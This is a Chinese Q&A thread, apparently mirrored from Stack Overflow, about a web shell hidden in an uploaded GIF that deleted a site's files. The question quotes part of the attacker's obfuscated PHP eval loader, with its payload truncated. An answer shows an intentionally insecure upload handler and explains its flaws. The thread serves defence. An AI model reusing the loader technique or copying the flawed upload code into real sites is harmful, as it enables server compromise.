2012-09-23 69 views
0

我有一個Linux服務器,我有一個上傳圖像在我的網站,註冊用戶可以上傳他的圖片,當他登錄到他的個人資料,他可以看到他的圖像,他也可以得到他的形象的URL鏈接,所以圖像上傳到WWW/img目錄中的服務器 我檢查在PHP文件的擴展名,只允許(.png,.gif,.jpg)文件什麼是缺陷,必須在文件上傳

但我不知道爲什麼有人上傳了一個GIF圖像並刪除了我的所有文件,我得到了由用戶上傳的圖像,因爲我們有RAID,圖像的內容有點像.... ...

function vUMmFr($MkUOmK){$MkUOmK=gzinflate(base64_decode($MkUOmK));for($i=0;$i<strlen($MkUOmK);$i++){$MkUOmK[$i]=chr(ord($MkUOmK[$i])-1)}return $MkUOmK}eval(vUMmFr("7b1pe+M2sij8ved55j............ 

這是怎麼回事,這是怎麼發生的,所有的文件如何被刪除? 什麼語言是這樣的,我怎麼能防止刪除文件..

+4

切勿允許用戶上傳的文檔在doc根目錄下。決不允許用戶上傳的文件在磁盤上被命名爲其原始名稱。命名沒有文件擴展名的文件。永遠不要相信原始文件名來確定文件類型。設置合理的上傳大小限制。 – Brad

回答

4

你可能有一個非常糟糕的書面文件上傳處理,一些盲目信任的用戶提供了什麼,把這些文件與原來的用戶 - 爲您的webroot中的公共可訪問目錄提供文件名。簡而言之,你的文件上傳腳本相當於一個大閃爍的霓虹燈,致使「HACK ME!」

例如,像這樣:

<?php 

if ($_FILES['file']['type'] == 'image/gif') { 
    move_uploaded_files($_FILES['file']['tmp_name'], '/some/path/in/your/docroot/' . $_FILES['file']['name']); 
} 

事情錯在這裏是:

  1. 沒有檢查錯誤 - 文件上傳失敗有很多原因,而不是檢查錯誤是非常糟糕的東西
  2. ['type']字段是用戶提供的數據 - 惡意用戶可以輕鬆僞造該MIME類型。他們可以很容易地上傳'somescript.php',但將其標記爲圖像。
  3. 盲目使用['name']參數作爲要存儲文件的路徑的一部分。同樣,這也受用戶控制。一名惡意用戶和您的服務器將衝入廁所。
  4. 將文件存儲在docroot中。因此,現在您允許任何類型的ANY文件上傳任何名稱。如果它是一個腳本,並且可以通過URL訪問該文件的位置,那麼現在允許遠程用戶在您的服務器上執行他們想要的任何代碼。

簡而言之,在處理文件上傳時,您將文件視爲即將爆炸的核彈,距離引爆0.001秒。您不要將它與原始文件名一起存儲。您不會將其存儲在用戶可以訪問的任何位置。您不要使用可預測的文件名來存儲它。您在文件上進行服務器端驗證。你擡起文件的裙子,看看引擎蓋下面,以確定它應該是什麼......即使如此,你仍然認爲它在說謊。

+0

因爲它是一個圖像,我也需要用戶能夠獲得圖像的鏈接,如果他上傳myphoto.gif,我需要爲他提供一個網址,如 www.mysite.com/profiles/images/ 39488343.gif 如何保護?在此senario中,請讓我知道 – Kajal

+0

@Kajal,將所有原始文件數據保存在某個數據庫中,以便稍後可以檢索它。使用您自己的PHP腳本從磁盤上的實際位置加載該文件。 – Brad

+0

@布拉德哦,這似乎很好,謝謝你的朋友 – Kajal

相關問題